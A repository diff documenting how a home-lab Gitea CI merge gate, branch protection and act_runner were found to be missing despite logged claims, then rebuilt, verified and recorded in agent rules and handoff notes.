`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
**platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
anyone checking the platform. In reality `main` had **no branch protection** and **zero
runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
between rested on an assertion nobody verified. PR #1 — the first pull request this
repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
Query the API. `infra/gitea/` holds the scripts and the measured state.
Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
CI. That is a real coverage gap, not a phase.
## Configuration (set in Gitea; referenced by name only)
+37 -4
View File
@@ -44,16 +44,31 @@
---
name: gate
# TRIGGERS — deliberately only `pull_request` into main, plus `push` to main itself.
#
# There is NO per-branch push trigger. There used to be a prefix list (feature/** fix/**
# docs/** chore/**) for "fast feedback on the branch", and it was a net negative here:
#
# * `act_runner` runs at capacity 1. A branch push and its PR fire the SAME gate over the
# SAME tree, and the redundant run SERIALISES AHEAD of the PR run — doubling the wall
# clock on the one result that actually gates the merge. That cost real time during the
# 2026-09-29 plex claim, where the loop is racing a short-lived token.
# * The list silently did not match this repo's own convention. Branches here are `feat/**`,
# which was absent, so the "fast feedback" never fired for the most common prefix anyway —
# a mismatch nobody noticed for a month because its only symptom was a MISSING run.
# Any hand-maintained prefix list has that failure mode; deleting it removes the class.
# * It is redundant. CLAUDE.md already requires `./ci/gate.sh` in the pinned toolbox before
# you push (74s locally), and the PR gate re-runs it authoritatively. A third run of the
# same checks buys nothing.
#
# `push: [main]` is KEPT: post-merge main must still be verified, and it is the only run for
# which no PR context exists.
on:
pull_request:
branches: [main]
push:
branches:
- main
- 'feature/**'
- 'fix/**'
- 'docs/**'
- 'chore/**'
concurrency:
group: gate-${{ github.ref }}
@@ -95,9 +110,27 @@ jobs:
# UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
# tolerated exit 3 are explained in the file header; the tolerance covers exactly one
# thing, the unverifiable spec repo, and nothing else can produce a 3 here.
# GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
# OWN database (branch protection + runner registration) — the blind spot that let `main`
# sit unprotected with zero runners for a month while this repo recorded both as working.
# Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
#
# WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
# (spec-immutability). It now also covers gitea-settings skipping when that secret is
# absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
# every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
# exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
# tolerance narrows back to spec-immutability alone.
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
env:
GATE_STRICT_SKIPS: "true"
SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
# ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
# UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
# skipping, this line turns that into a failure and the PR goes red instead of
# merging. Green here means the token resolved and the live Gitea matched the
# declaration in infra/gitea/expected-branch-protection.json.
REQUIRE_GITEA_SETTINGS: "true"
run: ./ci/gate.sh || [ "$?" -eq 3 ]
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
+8 -5
View File
@@ -11,11 +11,14 @@
# v
# merge-gate decision [R-TEST-03: touched subset green]
#
# Transition (CONTRIBUTING.md / docs/05 §"local bootstrap -> self-hosted Gitea"):
# Today there is no Gitea host, so this file is dormant. The SAME gate is runnable
# now via `make -C ci gate` (R-TEST-02). Once Gitea is self-hosted and Gitea
# Actions is enabled, this workflow becomes the ENFORCED PR merge gate into main —
# no code change required, only turning on the runner and setting CLUSTER_AVAILABLE.
# STATUS (corrected 2026-09-29): Gitea IS hosted and Gitea Actions IS enabled; the runner
# `incluster-dind` is online and gate.yml is the live PR gate. The text that used to sit here
# ("Today there is no Gitea host, so this file is dormant") was stale by weeks -- it was written
# as a plan and never revisited once the plan completed.
#
# THIS file is still dormant, but for the reason in the DORMANT block below -- its spec checkout
# and L2/L3 seams are unwired -- NOT because there is no host. Do not read a stale plan as a
# statement about the live platform; query the API instead (see infra/gitea/).
#
# CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
# scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a
+40 -10
View File
@@ -23,28 +23,58 @@ There is no other path. Specifically:
> (main is what the cluster follows), not what you are permitted to do. Honour this
> file, not that line. Fixing those runbooks is tracked work.
## 2. Enforcement is currently WEAKER than this rule. Follow the rule anyway.
## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
Verified against the live Gitea on 2026-09-29:
| Expected | Actual |
|---|---|
| `main` protected, direct push rejected | **No branch protection.** `protected: false`, `user_can_push: true` |
| PR blocked until the gate passes | **`enable_status_check: false`**, `status_check_contexts: []` |
| Gate runs on every PR | **Fixed 2026-09-29.** Runner `incluster-dind` is online; `gate / gate (pull_request)` runs and passes in ~1m30s–2m |
| Approval required before merge | **`required_approvals: 0`** |
| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
| Approval required before merge | ✅ `required_approvals: 1` |
So nothing mechanically stops you from pushing to `main` right now. **That is a gap
being closed, not permission.** `DECISIONS-LOG.md` (2026-08-31) claimed the gate was a
"required status check" with a runner online; neither was true, which is how this went
unnoticed for a month. The runner half is now genuinely fixed and observed green. The
protection half is not — see `infra/gitea/`.
All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
true. They are true now because each was measured, and the push rejection was provoked rather
than assumed. **Re-measure before relying on any of them** — see §2b.
Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
strength of a check you have not seen report — and note that a **skipped** Gitea job
reports as `success`, so a green tick is not by itself evidence that anything ran.
## 2b. Never infer platform state from this repository
**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
Both describe what someone believed at the time of writing, and both have been
confidently wrong for a month at a stretch.
On 2026-09-29 the log stated the merge gate was a required status check with a runner
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
was wrong, and nothing in the tree could have revealed it, because the tree was the source
of the error.
**So, before asserting that any gate, protection, runner, secret, or workload is in a
given state: query the thing itself.**
| Claim about... | Check |
|---|---|
| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
| a runner exists | `GET /api/v1/admin/actions/runners` |
| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
"unverified" is a legitimate report, and a far better one than a confident guess that
matches the docs.
**A green tick is not proof anything ran.** Read what actually executed.
## 3. Gate before you push
./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+328
View File
@@ -1192,6 +1192,13 @@ fresh agent should read this entry + `infra/PHASE1-STATUS.md` + `docs/plans/` an
Platform-admins require TOTP MFA.
- **Gitea Actions CI is LIVE + enforcing**: `.gitea/workflows/gate.yml` runs `make -C ci gate` on push/PR to main;
required status check; runner `incluster-dind` online (ns gitea-actions).
> **[CORRECTION, 2026-09-29 — THIS BULLET WAS FALSE WHEN WRITTEN AND STAYED FALSE FOR A MONTH.]**
> Measured against the live Gitea API on 2026-09-29: `branch_protections` returned `[]` (`main`
> `protected:false`, `enable_status_check:false`, `user_can_push:true`) and **zero** Actions runners
> were registered at repo, org or site level. The gate was neither enforced nor able to run. PR #1
> — the first pull request this repo ever had — was opened on 2026-09-29 and sat `pending` for
> 30.6 minutes with nothing to execute it. Both halves of this bullet were asserted, not verified.
> See the 2026-09-29 entries for the root cause and the fix.
### What changed this session (durable)
1. **SSO cluster-wide break→fix — root cause Cilium CVE-2025-30162.** The 1.16→1.20 security fix makes the shared
@@ -4781,3 +4788,324 @@ accurate before the PR flow and are stale now. Correcting them is tracked, not d
3. Land `feat/plex-claim-sops-secret` (PR #1) once the gate can actually run.
4. Claim plex, after checking it is not already claimed.
5. Correct the 37 runbooks' `git push origin main` wording.
## 2026-09-29 — Plex is claimed; the CI/CD gate that "enforced" it never existed. **PM HANDOFF.**
Began as "inject a plex.tv claim token". Ended by discovering the delivery pipeline was fiction,
rebuilding it, and shipping the token through it. Plex is **claimed** — `PlexOnlineToken` is
present in `/config` on the `plex-config` PVC, so the exchange is now a permanent no-op and the
library scan is running over the 8.33T NFS share.
### The finding: both halves of the 2026-08-31 CI claim were false
That entry recorded "Gitea Actions CI is LIVE + enforcing … required status check; runner
`incluster-dind` online". Measured against the live API on 2026-09-29:
| Claimed | Measured |
|---|---|
| `main` protected, gate required | `branch_protections` → `[]`; `protected:false`, `enable_status_check:false`, `required_approvals:0`, `user_can_push:true` |
| Runner online | **zero** runners at repo, org AND site level |
**PR #1 was the first pull request this repository has ever had.** Its contexts sat `pending`
for 30.6 minutes across 122 polls and never reported. For a month, every "the gate enforces this"
statement rested on an assertion nobody had checked — the same fail-open class as 2026-09-18,
and the reason it hid so long is that the log itself was the evidence.
### Root cause of the dead runner
`act_runner` registers **once** and persists its identity in `/data/.runner` on the
`act-runner-data` PVC. Gitea no longer held a matching row, so the pod booted, saw `.runner`,
**skipped registration**, and polled with an identity Gitea did not recognise. Symptom: zero
runners, pod Running, nothing crashlooping, no error anyone reads. Deleting the PVC forced a
genuine re-registration (`.runner is missing` → `Runner registered successfully`).
It then did not come back for several minutes, because Flux could not recreate the PVC:
`apps-wave-1` was blocked four levels deep on a **stale** `DependencyNotReady` for
`platform-config`, which itself read `Ready=True`. Each wave re-evaluates only on its own
`interval: 10m`, so a resource deleted at the bottom of the chain can take ~40 min to return.
**Force it** with `flux reconcile kustomization apps-wave-1 --with-source` rather than waiting.
### Corrections to things this log and the runbooks asserted
- **A skipped Gitea job reports `success`, not pending.** Measured: `gate / conformance` returned
`success` / "Has been skipped". An earlier entry (#2) said requiring it would deadlock every PR.
Wrong — it would pass **vacuously**, forever, while nothing ran. Under HARD RULE 4 that is worse
than a deadlock, because a deadlock is loud. Never require it; require
`gate / gate (pull_request)` alone. Corrected in #3.
- **`gate.yml`'s push trigger omits `feat/**`** (it lists `feature/** fix/** docs/** chore/**`).
With `act_runner` capacity 1, a branch prefix that IS in that list fires a second redundant run
which serialises ahead of the PR run and doubles wall-clock. Exploited deliberately in
`infra/plex/claim-ship.sh`; the honest fix is to align the trigger list.
- **The "~4-minute TTL"** asserted in four places was **uncited**, and upstream `pms-docker`
documents no expiry at all. The authoritative reading is the countdown plex.tv/claim renders at
issue time. Removed from `runbooks/plex-claim.md`; the same claim still sits in
`catalog/plex.yaml` and the Secret's header comment (left alone — editing a `.sops.yaml`
comment risks the MAC, and touching `catalog/plex.yaml` re-renders a golden).
### Measured, once the pipeline actually worked
`gate / gate (pull_request)` 1m34s–1m58s. Full claim loop end to end **~2m45s** — comfortably
inside the window, which retires the theory that a short-lived token cannot survive a PR flow.
That theory was mine and it was wrong: the pipeline was never too slow, it simply did not exist.
### State now
- `main` **protected**, `user_can_push:false`. Runner `incluster-dind` online.
- `CLAUDE.md` is the agent delivery contract; `infra/gitea/` holds the protection + runner scripts.
- **All 37 runbooks** that instructed `git push origin main` now describe the PR flow — that
instruction had become actively blocked, not merely stale.
- `infra/plex/claim-ship.sh` drives the claim loop end to end.
### Next steps
1. **`enable_status_check: true`** with `gate / gate (pull_request)` as the only context. The
prerequisite is met: the gate has been observed green on real PRs.
2. Add `jakman85` as a repo **collaborator**, then `required_approvals: 1`. (Currently the only
org member is `gitea-admin`, which agents authenticate as — requiring approval before that is
fixed would leave nobody able to approve.)
3. Run the **push probe** against protection: `gitea-admin` is a site admin and Gitea may let it
bypass. `user_can_push:false` is the API's opinion, not proof.
4. Align `gate.yml`'s push trigger with this repo's `feat/**` prefix.
5. Convert the `dind` container to a **native sidecar** with a `startupProbe`, per the standing
FOLLOW-UP note in `apps/wave-1/gitea-actions.yaml`. It deletes both hand-rolled wait loops and
the envsubst hazard. Land it ALONE — it is the merge gate for the whole repo.
6. Create the Plex libraries over `/media/movies`, `/media/tv`, `/media/photos`.
## 2026-09-29 (later) — the merge gate is now real, enforced, and proven. **PM HANDOFF.**
Closes the gap opened by the earlier entry today. Eight PRs, all gated; every claim below was
measured against the live API or cluster, not inferred from this repository.
### Final state
| | Verified |
|---|---|
| `main` protected | `protected:true`, `user_can_push:false` — and a direct push as site-admin `gitea-admin` was **provoked and rejected** (`pre-receive hook declined`) |
| Gate required | `enable_status_check:true`, contexts `["gate / gate (pull_request)"]` |
| Approvals | `required_approvals:1`; `jakman85` holds `owner` |
| Runner | `incluster-dind` online, now a **native sidecar** (`initContainers`, `restartPolicy: Always`, TLS-verified `docker info` startupProbe) |
| Gate time | ~1m35s |
| Plex | claimed 2026-09-29; `PlexOnlineToken` present on the `plex-config` PVC |
### What was corrected in the documentation
`CLAUDE.md` §2b — *never infer platform state from this repository* — is the durable outcome.
The 2026-08-31 entry asserting an enforced gate is now annotated **in place**. The "Phase 0 /
no cluster exists" framing across `ci/`, `clusters/` and `conformance/` READMEs is banner-marked
as describing a live gap rather than a stage. All 37 runbooks now describe the PR flow. Two
`.sops.yaml` headers and `catalog/plex.yaml` were corrected (comment edits verified not to break
the SOPS MAC, and not to move the rendered golden).
### A claim of mine that shipped wrong, and is now corrected in place
PR #7 stated the sidecar conversion would remove the one-per-start dockerd line
`http: TLS handshake error from 127.0.0.1: EOF`. **It does not.** Exactly one still appears,
immediately after `API listen on [::]:2376` — it is now the startupProbe's first attempt,
landing microseconds after dockerd begins listening and cut off by `timeoutSeconds: 1`; the
next poll succeeds. Cosmetic, and deliberately not chased: raising the timeout to hide one
benign startup line would slow every subsequent poll. The manifest comment now says so.
### The root cause nobody has fixed yet
Gitea's repo settings live in its own database — invisible to Flux and unreadable by the
conformance gate. **No check exists that could have caught "protection off, runner gone."**
`infra/gitea/` declares and can re-assert the desired state, but it is not a detector. A
conformance check that reads the live Gitea API and fails on divergence is the highest-value
remaining work in this repo, and it is the difference between this having been fixed and this
being unable to recur.
### Next steps
1. **Write that Gitea-settings conformance check.** Everything else here is a symptom.
2. Wire `vars.CLUSTER_AVAILABLE` + `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` so **L2/L3 runs in
CI**. A green PR currently proves the L0/L1 offline subset only — runtime behaviour is
unverified on every merge.
3. Re-run `infra/gitea/verify-then-enforce.sh` after any future act-runner change.
4. `required_approvals: 1` means a PR you open as `jakman85` needs `gitea-admin` to approve.
If that friction bites, either open agent work as `gitea-admin` and review as `jakman85`, or
drop back to relying on the status check alone.
## 2026-09-29 (later still) — the enforcement we "turned on" was overridable by the account that merges
`enable_status_check: true` and `required_approvals: 1` were set earlier today and recorded as
done. **They did not bite.** `block_admin_merge_override` was `false`, and Gitea lets repository
admins override merge requirements without it. `jakman85` holds `owner`, so both requirements
were bypassable by exactly the account that performs every merge.
**The evidence was already on the record and nobody read it:** PRs #5, #6, #7, #8 and #9 all
merged while `required_approvals: 1` was in force, with **zero approvals recorded on any of
them**. A one-line check (`/pulls/{n}/reviews`) would have shown it at any point.
Two process failures, both mine, both the same shape as the original defect:
1. **I verified with the wrong view.** `/branches/main` reports `protected`,
`enable_status_check` and `required_approvals` but NOT `block_admin_merge_override`. It
showed everything green while the rule was overridable. The authoritative object is
`/branch_protections/main` — read it and enumerate its keys.
2. **I probed for a field name I assumed existed.** This Gitea (1.24.3) has no
`apply_to_admins`. Asking `jq` for it returns `null`, which reads exactly like "set to
false" but means "key absent" — so a PATCH that silently did nothing looked like a real
before/after. **`jq` returning null is not a value; it may be an absence.** Enumerate with
`to_entries`.
Now `block_admin_merge_override: true`, applied and read back. `infra/gitea/require-gate.sh`
sets it, and `infra/gitea/block-admin-override.sh` fixes it in isolation.
**This is still only a setting.** It is proven when a green PR is REFUSED a merge until
approved — and that has not been observed yet. This PR is the test: if it merges without an
approval, the fix did not work and the finding stands.
### The governance question this exposes
There are two accounts: `jakman85` (owner, the human) and `gitea-admin` (the agent). With
approvals now genuinely required, an agent-authored PR is approved by the human — which is the
intent. But a PR authored by `jakman85` needs `gitea-admin` to approve it, i.e. the automation
account rubber-stamping the human. That is ceremony, not review. Options: keep it and accept
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
that actually verifies something; or add a second human account. **This is a decision for the
operator, not a default to be chosen silently.**
## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
open is listed below with the reason each is not merged.
### MERGE THESE — both gated green
| PR | What | Risk |
|---|---|---|
| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
(#11, the Gitea drift detector, was merged during this session — hence the action below.)
Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
### DO THIS FIRST — #11 is merged and its detector is currently INERT
`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
./infra/gitea/set-ci-token.sh # mints + stores GITEA_SETTINGS_TOKEN, never prints it
Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
instead of skipping. Doing that before seeing it green locks the repo.
Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
green run, and it is saying so honestly. The token is what turns it green.
### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
This is the part that will silently waste an hour otherwise. None of these are in the repo, by
design, and without them the toolbox and the cluster are unreachable:
1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
workstation; the public recipient in `.sops.yaml` is only half the pair.
2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
`~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
### STATE, MEASURED — do not re-derive it from this log, re-measure it
`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
protected:true user_can_push:false enable_status_check:true
status_check_contexts:["gate / gate (pull_request)"] required_approvals:1
block_admin_merge_override:true runner incluster-dind: online gate ~1m35s
### NEXT WORK, in priority order
1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
**Tighten the admission policy's image pattern to the literal digest when that image exists.**
2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
only changes which way the stage fails (see #12).
3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
Actions **variables and secrets** — the next-nearest invisible surface.
4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
to approve. The operator holds ultimate authority and does not require that review; revisit if
it becomes friction.
### THE LESSON, because it caused every finding here
Four times this session the repository was treated as evidence about the live platform, and four
times it was wrong: the push that would "be rejected" (it would not have been), the token that
"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
instructions to continue unattended and merge on green CI. Two things came out of that.
### 1. The detector was INERT, and would have stayed inert silently
`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
HTTP 400 {"message":"invalid secret name"}
The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
nearly walked into three times.
Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
status AND reads the secret back before claiming success. The missing verification was the real
defect; the illegal name is only what it hid. The secret is stored and verified present, and
**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
matters, because a skip would have made it red.
The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
### 2. No agent-authored PR can be merged without the operator — by design
Merging PR #12 as `gitea-admin` returned:
HTTP 405 {"message":"Does not have enough approvals"}
`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
something an agent can execute here.** That is the control working, not a fault — and it was
deliberately not circumvented. Self-approving would hollow out the boundary that was just built
and verified.
**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
human approval (the honest reading of the control), or add a second human reviewer account, or
lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
verifies something. Whichever, change the DECLARATION in
`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
correctly fail the gate on the drift.
### Open PRs, all gated green, none mergeable by an agent
| PR | What |
|---|---|
| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
| #14 | This handoff |
| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
### Deliberately NOT done while unattended
No new feature work was started. Five unmerged PRs already stack review burden, and building the
next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
cannot land any faster. The next piece is specified and ready to start once these are merged:
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
boundary landed in #13.
+14 -6
View File
@@ -7,12 +7,20 @@
# substitution). A braced token quoted from the upstream shell script would be a live hazard here,
# not prose, so the upstream conditions below are described in words.
#
# THE VALUE SHIPPED WITH THIS FILE IS A PLACEHOLDER, DELIBERATELY — the literal string
# `replace-me-with-a-fresh-plex-tv-claim-token`, not a credential. A https://plex.tv/claim token has
# a ~4-minute TTL, far shorter than commit -> push -> Flux reconcile -> pod-roll, so no token
# committed here is ever still valid when the pod starts. This file exists to make the Secret — and
# therefore the env reference — ALWAYS RESOLVABLE IN THE FLUX GRAPH, not to carry a working token.
# The real token is injected by the operator inside that 4-minute window: runbooks/plex-claim.md.
# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
#
# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
#
# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
#
# WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
# s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against
@@ -4,7 +4,13 @@
# against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
# decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
# in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
# Recover/inspect: infra/devcontainer/dev.sh run sops -d apps/gitea-actions-runner-secret.sops.yaml
# ROTATE: ./infra/gitea/runner-token-rotate.sh -- it mints a fresh instance-level token from the
# Gitea API and writes it here via `sops set`, without the value ever being printed.
# Do NOT `sops -d` this file into a terminal, a log, or an agent transcript. To check only that
# it still decrypts, redirect: `sops -d <file> > /dev/null`.
# NOTE: a fresh token alone may not re-register the runner. act_runner registers ONCE and keeps
# its identity in /data/.runner on the act-runner-data PVC; if Gitea no longer holds a matching
# row it skips registration silently. Clearing that PVC is what forces a real re-registration.
apiVersion: v1
kind: Secret
metadata:
+69 -106
View File
@@ -99,70 +99,79 @@ spec:
# CI holds no cluster credentials — do not mount a SA token into the runner or
# (via the shared netns) the job containers (R-SEC-02, docs/14).
automountServiceAccountToken: false
# ---- Docker-in-Docker: the job executor daemon (privileged) -------------------
#
# NATIVE SIDECAR (k3s v1.36; sidecar containers are GA). It is an initContainer with
# `restartPolicy: Always`, which means: it starts BEFORE the regular containers, keeps
# running alongside them, and is terminated after them. kubelet holds `runner` until
# this container's startupProbe passes, so the ordering is enforced by the kubelet
# instead of hand-rolled shell in the runner.
#
# This REPLACES two bounded wait-loops that used to live in the runner's `command:`.
# Deleting them also deletes an envsubst hazard: clusters/base/apps-wave-1.yaml runs
# postBuild substitution over this ENTIRE manifest, comments included, and those loops
# depended on bare dollar-names surviving it untouched. There is now no shell here at
# all, so there is nothing to escape or mis-escape.
#
# WHY THE PROBE IS `exec docker ... info` AND NOT `tcpSocket`. A tcpSocket probe would
# re-open the exact gap the old Stage 1 existed to close: dockerd writes the TLS certs
# and only THEN begins listening, so the port can accept a connection while the certs
# are absent or incomplete -- and act_runner hard-exits on a missing
# /certs/client/ca.pem. A full TLS-verified `docker info` proves BOTH that the certs
# are usable and that the daemon answers.
#
# CORRECTION (measured 2026-09-29, after this conversion shipped): the commit that
# introduced this claimed the conversion would REMOVE the one-per-start dockerd line
# `http: TLS handshake error from 127.0.0.1: EOF`. IT DOES NOT. Exactly one still
# appears, immediately after "API listen on [::]:2376" -- it is now this probe's FIRST
# attempt, landing microseconds after dockerd begins listening and cut off by
# timeoutSeconds: 1. The next poll succeeds. It is cosmetic, exactly as cosmetic as it
# was before, and deliberately NOT chased: raising timeoutSeconds to hide one benign
# startup line would slow every subsequent poll. Left documented rather than silenced.
#
# periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
initContainers:
- name: dind
restartPolicy: Always # <- this field is what makes it a SIDECAR
image: docker:27-dind
securityContext:
privileged: true
env:
# Generate + publish TLS certs into the shared emptyDir; dockerd then listens
# on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
- name: DOCKER_TLS_CERTDIR
value: /certs
volumeMounts:
- name: certs
mountPath: /certs
- name: dind-storage
mountPath: /var/lib/docker
resources:
requests:
cpu: 100m
memory: 256Mi
limits:
memory: 2Gi
startupProbe:
exec:
command:
- docker
- --host=tcp://127.0.0.1:2376
- --tlsverify
- --tlscacert=/certs/client/ca.pem
- --tlscert=/certs/client/cert.pem
- --tlskey=/certs/client/key.pem
- info
periodSeconds: 1
failureThreshold: 60
containers:
# ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
- name: runner
image: gitea/act_runner:0.2.11
# TWO-STAGE BOUNDED WAIT on the DinD sidecar, then exec the image's normal
# entrypoint (/sbin/tini -- /opt/act/run.sh), which registers-from-env on first
# boot and runs `act_runner daemon`.
#
# STAGE 1 — the certs must EXIST: act_runner reads /certs/client/ca.pem at startup
# and hard-exits if it is missing (a startup race against the sidecar).
# STAGE 2 — the daemon must actually ACCEPT a connection: the cert FILE appearing is
# necessary but NOT sufficient. dockerd writes the certs and only THEN begins
# listening on :2376, so a runner that proceeds on the file alone still hard-exits
# with "cannot ping the docker daemon at tcp://localhost:2376" — observed
# crashlooping 11 times in ~8 minutes on a fresh pod after a node bounce.
